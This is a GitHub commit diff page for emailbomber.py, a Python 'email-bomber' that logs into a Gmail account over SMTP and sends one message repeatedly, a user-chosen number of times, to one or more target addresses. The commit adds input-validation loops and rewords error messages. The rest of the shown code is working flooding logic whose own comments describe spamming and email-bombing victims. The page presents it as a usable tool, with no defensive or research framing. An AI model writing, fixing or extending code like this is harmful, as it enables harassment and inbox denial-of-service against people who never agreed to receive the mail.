You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: emailbomber.py
+21-10Lines changed: 21 additions & 10 deletions
Original file line number
Diff line number
Diff line change
@@ -11,23 +11,34 @@
11
11
else: #Otherwise, reads saved user credentials.
12
12
sender=open("User_Credentials/sender.txt", "rt").read() #Reads saved user gmail.
13
13
app_password=open("User_Credentials/app_password.txt", "rt").read() #Reads saved user app password.
14
+
14
15
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
15
16
receiver=input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
16
17
message=input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
17
-
try:
18
-
count=int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
19
-
exceptValueError:
20
-
print("Please enter a number for the amount of emails to be sent.")
21
-
input("Press enter to exit.")
22
-
quit()
18
+
19
+
# Loop until valid count value is given
20
+
while(True):
21
+
try:
22
+
count=int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
23
+
exceptValueError:
24
+
print("Please enter an integer for the amount of emails to be sent.")
server.login(user=sender, password=app_password) #Logins to user's account.
29
40
exceptsmtplib.SMTPAuthenticationErroraserror: #Incorrect credentials inputted by user.
30
-
print("\nError:\nMake sure the Gmail address that you inputted is the same as the gmail account you have created an app password for.\nDouble check your Gmail and app password.")
41
+
print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.")
31
42
print(f"{error}")
32
43
input("Enter to exit...")
33
44
quit() #Quits program.
@@ -40,7 +51,7 @@
40
51
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
41
52
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
42
53
exceptOSError: #Operating system error.
43
-
print("\nError:\nThere was an error saving your credentials.")
54
+
print("\nError: There was an error saving your credentials.")
44
55
45
56
print("\nEmail-bomber has started...\n")
46
57
@@ -51,9 +62,9 @@
51
62
server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
52
63
print("Email sent successfully!")
53
64
exceptsmtplib.SMTPExceptionaserror:
54
-
print(f"Error:\n{error}")
65
+
print(f"Error:{error}")
55
66
continue
56
67
57
68
58
-
input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
69
+
input("\nEmail-bomber was successful...\nPress enter to exit...") #Email-bomber finished.
0 commit comments